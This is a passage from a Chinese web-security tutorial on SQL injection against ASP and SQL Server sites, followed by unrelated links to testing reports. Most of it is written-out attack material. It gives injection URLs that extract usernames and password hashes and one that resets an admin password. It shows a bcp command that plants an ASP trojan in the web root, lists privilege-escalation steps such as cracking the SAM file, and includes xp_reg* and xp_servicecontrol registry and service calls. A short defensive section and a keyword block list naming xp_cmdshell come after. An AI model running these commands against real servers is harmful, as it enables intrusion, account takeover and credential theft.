猜到第一个用户名及密码后,同理,可以猜出其他所有用户名与密码。注意:有时得到的密码可能是经MD5等方式加密后的信息,还需要用专用工具进行脱密。或者先改其密码,使用完后再改回来,见下面说明。 简单法:猜用户名用 HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 ... o.admin where username>1) , flag是admin表中的一个字段,username是用户名字段,此时abc.asp工作异常,但能得到Username的值。与上同样的方法,可以得到第二用户名,第三个用户等等,直到表中的所有用户名。 猜用户密码:HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1&nb ... B.dbo.admin where pwd>1) , flag是admin表中的一个字段,pwd是密码字段,此时abc.asp工作异常,但能得到pwd的值。与上同样的方法,可以得到第二用户名的密码,第三个用户的密码等等,直到表中的所有用户的密码。密码有时是经MD5加密的,可以改密码。 HTTP://xxx.xxx.xxx/abc.asp?p=YY;update TestDB.dbo.admin set pwd=' ... where username='www';-- ( 1的MD5值为:AAABBBCCCDDDEEEF,即把密码改成1;www为已知的用户名) 用同样的方法当然可把密码改原来的值。 3、利用表内容导成文件功能 SQL有BCP命令,它可以把表的内容导成文本文件并放到指定位置。利用这项功能,我们可以先建一张临时表,然后在表中一行一行地输入一个ASP木马,然后用BCP命令导出形成ASP文件。 命令行格式如下: bcp "select * from text..foo" queryout c:\inetpub\wwwroot\runcommand.asp –c –S localhost –U sa –P foobar ('S'参数为执行查询的服务器,'U'参数为用户名,'P'参数为密码,最终上传了一个runcommand.asp的木马)

六、得到系统的管理员权限

ASP木马只有USER权限,要想获取对系统的完全控制,还要有系统的管理员权限。怎

么办?提升权限的方法有很多种:

上传木马,修改开机自动运行的.ini文件(它一重启,便死定了);

复制CMD.exe到scripts,人为制造UNICODE漏洞;

下载SAM文件,破解并获取OS的所有用户名密码;

等等,视系统的具体情况而定,可以采取不同的方法。

七、几个SQL-SERVER专用手段

1、利用xp_regread扩展存储过程修改注册表

[xp_regread]另一个有用的内置存储过程是xp_regXXXX类的函数集合

(Xp_regaddmultistring,Xp_regdeletekey,Xp_regdeletevalue,Xp_regenumkeys,Xp_regenumvalues,Xp_regread,Xp_regremovemultistring,Xp_regwrite)。攻击者可以利用这些函数修改注册表,如读取SAM值,允许建立空连接,开机自动运行程序等。如:

exec xp_regread

HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares' 确定什么样的会话连接在服务器可用。

exec xp_regenumvalues

HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities' 显示服务器上所有SNMP团体配置,有了这些信息,攻击者或许会重新配置同一网络中的网络设备。

2、利用其他存储过程去改变服务器

xp_servicecontrol过程允许用户启动,停止服务。如:

(exec master..xp_servicecontrol 'start','schedule'

exec master..xp_servicecontrol 'start','server')

Xp_availablemedia 显示机器上有用的驱动器

Xp_dirtree 允许获得一个目录树

Xp_enumdsn 列举服务器上的ODBC数据源

Xp_loginconfig 获取服务器安全信息

Xp_makecab 允许用户在服务器上创建一个压缩文件

Xp_ntsec_enumdomains 列举服务器可以进入的域

Xp_terminate_process 提供进程的进程ID,终止此进程

防护措施:

服务器管理员:

1、把500:100这个错误提示页面C:/WINDOWS/Help/iisHelp/common/500-100.asp改成C:/WINDOWS/Help/iisHelp/common/500.htm

2、还应在IIS中为每个网站设置好执行权限,静态网站不能有“可执行”权限 上传文件存放的目录执行权限设为“无”

数据库管理员:

配置数据库用户的权限,只给访问数据库的web应用功能所需的最低的权限。 程序员:

对用户提交的变量参数进行仔细的检查。到/上搜索

当客户端提交的参数中有"exec、insert、select、delete、from、update、count、user、xp_cmdshell、add、net、Asc"等用于SQL注入的常用字符时,立即停止执行ASP并给

出警告信息或转向出错页面

给用户密码加密,比如用MD5加密,MD5是没有反向算法,不能解密的。

更多相关推荐:
范例(web系统性能测试报告)

系统性能测试报告南海东软信息技术职业学院YYYY年MM月DD日文档说明本文档所涉及到的文字和图表仅限开发方和需求方内部使用未经开发方的书面许可请勿扩散到任何第三方目录1总述111测试对象112测试目的113测试...

Web安全测试测试计划编写

Web安全测试任何一个测试的开始都要制定一个完整的测试计划现在我们就从web安全测试的测试计划开始要做一个测试计划首先要明确测试需求在写测试计划之前必须要明确测试需求暗含的要求例如很少看到这样明确话的文档要求入...

Web安全性测试

安全性测试安全性测试安全性测试主要是测试系统在没有授权的内部或者外部用户对系统进行攻击或者恶意破坏时如何进行处理是否仍能保证数据和页面的安全测试人员可以学习一些黑客技术来对系统进行攻击另外对操作权限的测试也包含...

web安全测试方法

工具扫描目前web安全扫描器针对XSSSQLinjectionOPENredirectPHPFileInclude漏洞的检测技术已经比较成熟商业软件web安全扫描器有IBMRationalAppscanWebI...

经典web安全测试list

建立整体的威胁模型测试溢出漏洞信息泄漏错误处理SQL注入身份验证和授权错误1输入验证客户端验证服务器端验证禁用脚本调试禁用Cookies1输入很大的数如4294967269输入很小的数负数2输入超长字符如对输入...

web系统性能测试报告

web系统性能测试报告1总述11测试对象web系统数据库建表sql的版本是20xx02281程序代码的版本是20xx0310112测试目的确定系统支持的最大并发用户数系统的处理能力能达到2次请求分钟13测试环境...

XXX Web系统性能测试报告

XXXWeb系统性能测试报告样例1总述11测试对象XXXWeb系统12测试目的确定系统支持的最大并发用户数13测试环境14测试依据15参考资料16术语及缩写词测试时间一轮测试从开始到结束所使用的时间并发线程数测...

web系统性能测试实验报告

附录实验报告格式一实验目的应用Web测试工具对Web系统进行功能和性能测试二实验内容2题目二对博客测试网站进行性能测试1题目内容描述要求使用LoadRunner对博客网站进行性能测试重点进行用户并发测试并发测试...

web压力测试实验报告

软件测试实验报告班级030513学号03051235姓名陆义良地点E508时间20xx年5月16日软件测试实验报告03051235陆义良实验目的一理解web压力测试概念二熟练运用WASwebapplicatio...

范例1(web系统性能测试报告)

1总述11测试对象web系统数据库建表sql的版本是20xx02281程序代码的版本是20xx0310112测试目的确定系统支持的最大并发用户数系统的处理能力能达到2次请求分钟13测试环境14测试依据15参考资...

web压力测试实验报告

软件测试实验报告班级030513学号03051235姓名陆义良地点E508时间20xx年5月16日软件测试实验报告03051235陆义良实验目的一理解web压力测试概念二熟练运用WASwebapplicatio...

web手工测试的经验总结

web手工测试的经验总结前言本文主要是阐述个人的web手工黑盒测试的工作经验测试目的测试并不仅仅是为了找出错误通过分析错误产生的原因和错误的分布特征可以帮助项目管理者开发人员发现当前所采用的软件过程的缺陷以便改...

web安全测试报告(16篇)